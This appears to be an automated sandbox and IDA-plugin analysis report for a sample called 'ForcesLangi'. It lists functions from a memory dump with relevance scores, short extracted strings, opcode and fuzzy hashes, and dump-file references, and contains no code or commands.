Opcode ID: b6da5ae9edf8ca12d483433be5c1af6897f99cfca23886e9c37c61862688cbc8
Instruction ID: 2ff08be09c848220c00fb2f06f96144c310b1a50217c2e8c2903358917f9af70
Opcode Fuzzy Hash: b6da5ae9edf8ca12d483433be5c1af6897f99cfca23886e9c37c61862688cbc8
Instruction Fuzzy Hash: 68E04631240118EBCF222BE0C948A883B79EB01789B214028F80C86631DB39F986CB80

Function 6CE2B620 Relevance: 4.5, Strings: 3, Instructions: 753COMMON

Download Yara Rule

Strings

jr^i, xrefs: 6CE2BFDD
etS, xrefs: 6CE2BE0F
jr^i, xrefs: 6CE2BB66

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: etS$jr^i$jr^i
API String ID: 0-2030300318
Opcode ID: 9c6727ac7d0518c37cb6d9557568a6930e5ca128aed37eab55c4194cc87af286
Instruction ID: d5a7b35104afba32e058db6aae0d63df4ab12cb8828f583aea301b7eaf2a6d2c
Opcode Fuzzy Hash: 9c6727ac7d0518c37cb6d9557568a6930e5ca128aed37eab55c4194cc87af286
Instruction Fuzzy Hash: 0A32F536B415018FDF08CDBCC9D57DE77F2AB47354F309629D522ABB94C62E890A8B90

Function 6CE0F2E0 Relevance: 4.1, Strings: 2, Instructions: 1600COMMON

Download Yara Rule

Strings

"xD;, xrefs: 6CE107FF
"xD;, xrefs: 6CE0F98C

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: "xD;$"xD;
API String ID: 0-2864981526
Opcode ID: 2193f10a5a8fc40357047bd6ab7ca9a5dc93f2b4f4ec6a431a78ad1cb2b83ff7
Instruction ID: 35674e15b204143e6a162b3aee01e3c4a83ba64c6e6fc104c7262966c0bd7685
Opcode Fuzzy Hash: 2193f10a5a8fc40357047bd6ab7ca9a5dc93f2b4f4ec6a431a78ad1cb2b83ff7
Instruction Fuzzy Hash: 15C22576B496418FCF04CEBCC6953CD7BF2AB43364F349514D421DBB98D62E892A8B81

Function 6CE22130 Relevance: 4.1, Strings: 2, Instructions: 1555COMMON

Download Yara Rule

Strings

Vmp, xrefs: 6CE22E2F
Vmp, xrefs: 6CE22DBC

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Vmp$Vmp
API String ID: 0-3901100813
Opcode ID: 289c027b29b7eefbef0ec21a6da14beba24c40d0550da31d88031ff497433c75
Instruction ID: c4173da0f8efe730845e8868af51c7c0eaee55206e620693a12b2600c5cab304
Opcode Fuzzy Hash: 289c027b29b7eefbef0ec21a6da14beba24c40d0550da31d88031ff497433c75
Instruction Fuzzy Hash: 57B20E7AA552028FDF08CE7CD5D93CE77F2AB53364F3481159862DBB95C62E890A8F40

Function 6CE193C0 Relevance: 3.5, APIs: 2, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f60eb36aa6478aace6beeccf11c6d46a6a1f3143be03206460dead8c38e9ef10
Instruction ID: 5814fa30c3ad990a82d0b592aac91fb3faf5c73d85a31e7b4d9bb35d9d86a2c0
Opcode Fuzzy Hash: f60eb36aa6478aace6beeccf11c6d46a6a1f3143be03206460dead8c38e9ef10
Instruction Fuzzy Hash: 81F12876B496118FDF048EBCD4D53DE7BF2AB4B324F206619C415BBB94C22A841ECB51

Function 6CE2B050 Relevance: 3.4, APIs: 2, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 138b193b12ff7994e53b35290106f589f441eb157fbf0e37fe7476682fe6f370
Instruction ID: e7d7d1957c7a56c6441dfc0e2f5b15fd19c8865ec6e731a2649fa7a074466924
Opcode Fuzzy Hash: 138b193b12ff7994e53b35290106f589f441eb157fbf0e37fe7476682fe6f370
Instruction Fuzzy Hash: 55D10376E416068FDF04CE7CC9D57EE77F29B47324F248525C522DBB94C22E8A0A8B41

Function 6CE2D900 Relevance: 3.2, Strings: 2, Instructions: 704COMMON

Download Yara Rule

Strings

\w!u, xrefs: 6CE2DE5F
QP,m, xrefs: 6CE2D912

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: QP,m$\w!u
API String ID: 0-581249642
Opcode ID: 24df9089ac75e435283f65e715bb53468a6bc79b613cbd85605655fac0a6a885
Instruction ID: ef576043ff095fb7acb2a7a1efe06e33ba4231d16a840b1f198027c32ab89f20
Opcode Fuzzy Hash: 24df9089ac75e435283f65e715bb53468a6bc79b613cbd85605655fac0a6a885
Instruction Fuzzy Hash: 3932573AA446118FDF04CEBCC5953DE77F2AB57325F359219E521EBB94C22E890ACB40

Function 6CE0DED0 Relevance: 3.1, Strings: 2, Instructions: 635COMMON

Download Yara Rule

Strings

_Nx5, xrefs: 6CE0E487
_Nx5, xrefs: 6CE0E700

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: _Nx5$_Nx5
API String ID: 0-2428191651
Opcode ID: 8fe4fc08cf86152e33d047b9fd818372178bfda8a17f7e915d10948e1804e44d
Instruction ID: 5810a62a46ed984d7fac0e2427b63f9d0fe6d090af8776263a2998822d92afb1
Opcode Fuzzy Hash: 8fe4fc08cf86152e33d047b9fd818372178bfda8a17f7e915d10948e1804e44d
Instruction Fuzzy Hash: 0E22E03AB15A058FCF04CEBCD5D12DD7BF2AB86314F34852AE451E7790D23A990ACB81

Function 6CE24C00 Relevance: 3.1, Strings: 2, Instructions: 597COMMON

Download Yara Rule

Strings

~E, xrefs: 6CE24F40
~E, xrefs: 6CE24C50

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: ~E$~E
API String ID: 0-2867264573
Opcode ID: cfb0858f5fbafeeaddaaf5655af7d9568565dd30e169e5fa367a28077ae42e78
Instruction ID: fccfcf98bb5793d644f3ee335a880be125656a9d459cf1466a88afe968e8edc6
Opcode Fuzzy Hash: cfb0858f5fbafeeaddaaf5655af7d9568565dd30e169e5fa367a28077ae42e78
Instruction Fuzzy Hash: 66127636A515418FCF04CE7CC9D53CE7BF2AB4B325F38521AD511EBB98C22E890A9B14

Function 6CE29CC0 Relevance: 3.0, Strings: 2, Instructions: 532COMMON

Download Yara Rule

Strings

@kOW, xrefs: 6CE2A1D9
@kOW, xrefs: 6CE2A408

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: @kOW$@kOW
API String ID: 0-2146169918
Opcode ID: aa5f07ea1169338d8d6470aa37088b072c258cc8b1d3877aa3657a23a9940a71
Instruction ID: ecbbf0faf5a3f744079408b4bc4573af567b2056f1fc989c099d67e7151ae0ec
Opcode Fuzzy Hash: aa5f07ea1169338d8d6470aa37088b072c258cc8b1d3877aa3657a23a9940a71
Instruction Fuzzy Hash: 16023376A852048FDF08CEBCD5C53CE7BF2AB87328F346115D411E7B94D22E990A8B91

Function 6CE11260 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

(g5, xrefs: 6CE11722
(g5, xrefs: 6CE11964

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: (g5$(g5
API String ID: 0-4174432146
Opcode ID: 97295da8a7794ed843c967c9d229ea6b7f979918f1aa96fd44a195d2e57fabc0
Instruction ID: 090a5e64a5e3a56a7421154e4b15419b45be2eac7b438581121db4ebc6f3cbb5
Opcode Fuzzy Hash: 97295da8a7794ed843c967c9d229ea6b7f979918f1aa96fd44a195d2e57fabc0
Instruction Fuzzy Hash: 95022176B495058FCB08CEFCC1953DE77F29B6B325F20A119D421E7F94C52ACA0A8B94

Function 6CE25430 Relevance: 3.0, Strings: 2, Instructions: 503COMMON

Download Yara Rule

Strings

"\UA, xrefs: 6CE25724
"\UA, xrefs: 6CE2578D

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: "\UA$"\UA
API String ID: 0-1621468777
Opcode ID: f77219d2444bd6a1909b6e7beb5d7a1d91dad2f241c97654193c084212413698
Instruction ID: 3c462d193dd34ca19a65df857200d653b6eb32b12b89302cfd781c516a305abc
Opcode Fuzzy Hash: f77219d2444bd6a1909b6e7beb5d7a1d91dad2f241c97654193c084212413698
Instruction Fuzzy Hash: AFF12936B526068FDF048D7CCAD53EE3BF2AB433A5F349515D511DBB98C62E890A8780

Function 6CE10900 Relevance: 3.0, Strings: 2, Instructions: 488COMMON

Download Yara Rule

Strings

r[}", xrefs: 6CE10E02
r[}", xrefs: 6CE10E75

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: r[}"$r[}"
API String ID: 0-765748070
Opcode ID: 0346caeb35a8146e9998bb5d8199b7f41d97298020003ee21e67a02f05ac2a99
Instruction ID: 3097553bc57c82cde4e044b9ed24718ba4ff6abf5ccac1f606ecff7ccdb4e3d3
Opcode Fuzzy Hash: 0346caeb35a8146e9998bb5d8199b7f41d97298020003ee21e67a02f05ac2a99
Instruction Fuzzy Hash: 30F14936B491418FCF08CE7CDA967CD7BF2AB8B364F245619D811EBFD4C22A45698B10

Function 6CE11990 Relevance: 3.0, Strings: 2, Instructions: 487COMMON

Download Yara Rule

Strings

dQV;, xrefs: 6CE11F8A
dQV;, xrefs: 6CE11FF5

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: dQV;$dQV;
API String ID: 0-3760431708
Opcode ID: aae4b23577271d6a073f48758bf148101855a4453085db47b56671999b5703f0
Instruction ID: 15223c4b7978d87ceb55723f184339855f145706e1bfb929e251b8b6489c2f4c
Opcode Fuzzy Hash: aae4b23577271d6a073f48758bf148101855a4453085db47b56671999b5703f0
Instruction Fuzzy Hash: CFF12136B091058FCF088EBCC9953DD7BF2AB6B354F249619C411EBF94D22A8D0ACB54

Function 6CE2C9C0 Relevance: 3.0, Strings: 2, Instructions: 461COMMON

Download Yara Rule

Strings

GH, xrefs: 6CE2CB99
GH, xrefs: 6CE2CC27

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: GH$GH
API String ID: 0-1603655936
Opcode ID: 93df9cfe6192971ff493bff1ffef66e9c2eb6ebefab0af0110b20abd95915c88
Instruction ID: 1e992f9a2aa772240c0a60f044f299b4319de788059e639952467a4a71863de7
Opcode Fuzzy Hash: 93df9cfe6192971ff493bff1ffef66e9c2eb6ebefab0af0110b20abd95915c88
Instruction Fuzzy Hash: 24F1F076B506048FEF04DEBCD4D13DEBBF2AB4B324F345519E821DB794C22A990A8B40

Function 6CE0E7B0 Relevance: 3.0, Strings: 2, Instructions: 460COMMON

Download Yara Rule

Strings

qh~#, xrefs: 6CE0ED4D
qh~#, xrefs: 6CE0ED93

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: qh~#$qh~#
API String ID: 0-2372752759
Opcode ID: 4039d1960b4957c3f5929eaeb5ed5fc2630e47f41c177f55fdfeae87302c39ee
Instruction ID: d9aed4cfc3a7b18f4e9fe590625992b9912b4a4823daa00879d602acd8643471
Opcode Fuzzy Hash: 4039d1960b4957c3f5929eaeb5ed5fc2630e47f41c177f55fdfeae87302c39ee
Instruction Fuzzy Hash: 78E10236B45E028FDB08CE7CC5953DE37F2AB47354F345529D4619BB94D22A8A0ACBD0

Function 6CE1DBD0 Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

+y, xrefs: 6CE1DFB9
+y, xrefs: 6CE1DC2D

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: +y$+y
API String ID: 0-2413955534
Opcode ID: 4a6b46396cba29c60f78c4a1c81cbf354c9b626c7f8b289837b2cd0aee867e8f
Instruction ID: 503ea2884d7450af9df90feb8c3bb815b1981befdd5e8a93d1fe93c698313b9b
Opcode Fuzzy Hash: 4a6b46396cba29c60f78c4a1c81cbf354c9b626c7f8b289837b2cd0aee867e8f
Instruction Fuzzy Hash: 3FD1577AB095018FCF05CE7CD4993DE7BF2AB4B324F209119E421D7F94C2395A1A8B50

Function 6CE26580 Relevance: 2.8, Strings: 2, Instructions: 307COMMON

Download Yara Rule

Strings

}.hu, xrefs: 6CE26900
}.hu, xrefs: 6CE26887

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: }.hu$}.hu
API String ID: 0-4196606155
Opcode ID: 521788e40a156ff6bcea01086794af01b5182c8b15564f67dbb567fb6237df34
Instruction ID: 8fa6754c6440b320cf496eefc99d6e6a35d546a2fcfc2349423e616b4527d3ad
Opcode Fuzzy Hash: 521788e40a156ff6bcea01086794af01b5182c8b15564f67dbb567fb6237df34
Instruction Fuzzy Hash: 67B1F076A052058FCB04CEBCD6957DE77F6AB4B324F305619D801E7780CA2E990ADB51

Function 6CE0C950 Relevance: 2.8, Strings: 1, Instructions: 1551COMMONLIBRARYCODE

Download Yara Rule

Strings

[m(X, xrefs: 6CE0D425

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: [m(X
API String ID: 0-1168799904
Opcode ID: 48184b43d53bf527c90a1d8dac858118a8caf04ca23ee30316380ae21371f63f
Instruction ID: 46066d28adcdba0c3e6d3359664f24262b127f2853b14922d105c213f8334496
Opcode Fuzzy Hash: 48184b43d53bf527c90a1d8dac858118a8caf04ca23ee30316380ae21371f63f
Instruction Fuzzy Hash: 4EB2107AB446018FDF08CE7CC5A53CD37F2AB87368F209515E8219BBD4C52A990BCB95

Function 6CE174D0 Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

Gak, xrefs: 6CE17604
Gak, xrefs: 6CE17658

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Gak$Gak
API String ID: 0-111581651
Opcode ID: da064b4c24bcd369ef734c5ffd64bc465b265534a2ec159105771378e350bb55
Instruction ID: 91359f859969cbc709a4d796d75328f33c17a4650f825409741e556acc266cd9
Opcode Fuzzy Hash: da064b4c24bcd369ef734c5ffd64bc465b265534a2ec159105771378e350bb55
Instruction Fuzzy Hash: D9813176A495468FCF04CE7CC6917EE37F2AB43329F305519D42AD7B81C22E8A0ACB51

Function 6CE16970 Relevance: 2.0, Strings: 1, Instructions: 712COMMON

Download Yara Rule

Strings

NybH, xrefs: 6CE16DFC

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: NybH
API String ID: 0-778265418
Opcode ID: 9c0152588228ff3620c6441fd413e2ce87eb0d097b553140db5572f3a938a2c9
Instruction ID: 514922fb73df610166b9d6f931b825c5ca691359f67a158b4e6733c9c283ec63
Opcode Fuzzy Hash: 9c0152588228ff3620c6441fd413e2ce87eb0d097b553140db5572f3a938a2c9
Instruction Fuzzy Hash: 75323476A495418FCF048E7CC5953DE3BF6EB47364F30A219D825EBB95C63A890ACB40

Function 6CE28D10 Relevance: 1.8, Strings: 1, Instructions: 566COMMON

Download Yara Rule

Strings

Unknown exception, xrefs: 6CE29489

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Unknown exception
API String ID: 0-410509341
Opcode ID: 2833791a1c12f7b3fffa124362b885ba041d1b4b3055d3f048b54c4aec56d951
Instruction ID: 42b7556d00b975c078b2d7c5f9c6686c1174828c527e7a539fe052ad707d43c7
Opcode Fuzzy Hash: 2833791a1c12f7b3fffa124362b885ba041d1b4b3055d3f048b54c4aec56d951
Instruction Fuzzy Hash: 07120376A456058FDF14CE7CD5D43CD7BF2AB47328F30A216D921EBB94D22E890A8B14

Function 6CE15670 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

g}TJ, xrefs: 6CE15CD5

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: g}TJ
API String ID: 0-2470632315
Opcode ID: 6feab2497fa58f3d11b5f3095cbb8e9a23c579e4031644c895a7c611c329fb06
Instruction ID: 1a67a3c3f99518f9fcaee7846e0ef773a8b243f9a04ebcc4519bc6b5aee16a53
Opcode Fuzzy Hash: 6feab2497fa58f3d11b5f3095cbb8e9a23c579e4031644c895a7c611c329fb06
Instruction Fuzzy Hash: DF020336B4A5418FCB048D7CD8D57EE77F2AB47368F305529C421DBF94C62A890A8B91

